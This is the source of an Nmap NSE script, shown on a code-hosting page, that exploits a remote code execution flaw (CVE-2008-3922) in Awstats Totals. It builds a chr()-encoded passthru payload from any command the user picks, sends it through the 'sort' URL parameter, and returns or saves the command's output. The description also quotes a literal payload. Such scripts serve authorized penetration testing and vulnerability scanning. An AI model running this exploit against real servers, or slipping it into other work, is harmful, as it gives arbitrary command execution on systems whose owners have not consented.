PageRenderTime 26ms CodeModel.GetById 19ms app.highlight 3ms RepoModel.GetById 1ms app.codeStats 0ms

/scripts/http-awstatstotals-exec.nse

https://gitlab.com/g10h4ck/nmap-gsoc2015
Unknown | 136 lines | 117 code | 19 blank | 0 comment | 0 complexity | ff9195d46c60a2660edbf3b8b791ca51 MD5 | raw file
  1local http = require "http"
  2local io = require "io"
  3local nmap = require "nmap"
  4local shortport = require "shortport"
  5local stdnse = require "stdnse"
  6local string = require "string"
  7local table = require "table"
  8
  9description = [[
 10Exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14
 11and possibly other products based on it (CVE: 2008-3922).
 12
 13This vulnerability can be exploited through the GET variable <code>sort</code>.
 14The script queries the web server with the command payload encoded using PHP's
 15chr() function:
 16
 17<code>?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}</code>
 18
 19Common paths for Awstats Total:
 20* <code>/awstats/index.php</code>
 21* <code>/awstatstotals/index.php</code>
 22* <code>/awstats/awstatstotals.php</code>
 23
 24References:
 25* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922
 26* http://www.exploit-db.com/exploits/17324/
 27]]
 28
 29---
 30-- @usage
 31-- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' <target>
 32-- nmap -sV --script http-awstatstotals-exec.nse <target>
 33--
 34-- @output
 35-- PORT   STATE SERVICE REASON
 36-- 80/tcp open  http    syn-ack
 37-- | http-awstatstotals-exec.nse:
 38-- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux
 39--
 40-- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php
 41-- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami
 42-- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file.
 43---
 44-- Other useful args when running this script:
 45-- http.useragent - User Agent to use in GET request
 46--
 47
 48author = "Paulino Calderon <calderon@websec.mx>"
 49license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
 50categories = {"vuln", "intrusive", "exploit"}
 51
 52
 53portrule = shortport.http
 54
 55--default values
 56local DEFAULT_CMD = "whoami"
 57local DEFAULT_URI = "/index.php"
 58
 59---
 60--Writes string to file
 61-- @param filename Filename to write
 62-- @param content Content string
 63-- @return boolean status
 64-- @return string error
 65--Taken from: hostmap.nse
 66local function write_file(filename, contents)
 67  local f, err = io.open(filename, "w")
 68  if not f then
 69    return f, err
 70  end
 71  f:write(contents)
 72  f:close()
 73  return true
 74end
 75
 76---
 77--Checks if Awstats Totals installation seems to be there
 78-- @param host Host table
 79-- @param port Port table
 80-- @param path Path pointing to AWStats Totals
 81-- @return true if awstats totals is found
 82local function check_installation(host, port, path)
 83  local check_req = http.get(host, port, path)
 84  if not(http.response_contains(check_req, "AWStats")) then
 85    return false
 86  end
 87  return true
 88end
 89
 90---
 91--MAIN
 92---
 93action = function(host, port)
 94  local output = {}
 95  local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI
 96  local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD
 97  local out = stdnse.get_script_args("http-awstatstotals-exec.outfile")
 98
 99  --check for awstats signature
100  local awstats_check = check_installation(host, port, uri)
101  if not(awstats_check) then
102    stdnse.debug1("This does not look like Awstats Totals. Quitting.")
103    return
104  end
105
106  --Encode payload using PHP's chr()
107  local encoded_payload = {}
108  cmd:gsub(".", function(c) encoded_payload[#encoded_payload+1] = ("chr(%s)"):format(string.byte(c)) end)
109  local stealth_payload = "?sort={%24{passthru%28"..table.concat(encoded_payload,'.').."%29}}{%24{exit%28%29}}"
110
111  --set payload and send request
112  local req = http.get(host, port, uri .. stealth_payload)
113  if req.status and req.status == 200 then
114    output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body)
115
116    --if out set, save output to file
117    if out then
118      local status, err = write_file(out,  req.body)
119      if status then
120        output[#output+1] = string.format("Output saved to %s\n", out)
121      else
122        output[#output+1] = string.format("Error saving output to %s: %s\n", out, err)
123      end
124    end
125
126  else
127    if nmap.verbosity()>= 2 then
128      output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request"
129    end
130  end
131
132  --output
133  if #output>0 then
134    return stdnse.strjoin("\n", output)
135  end
136end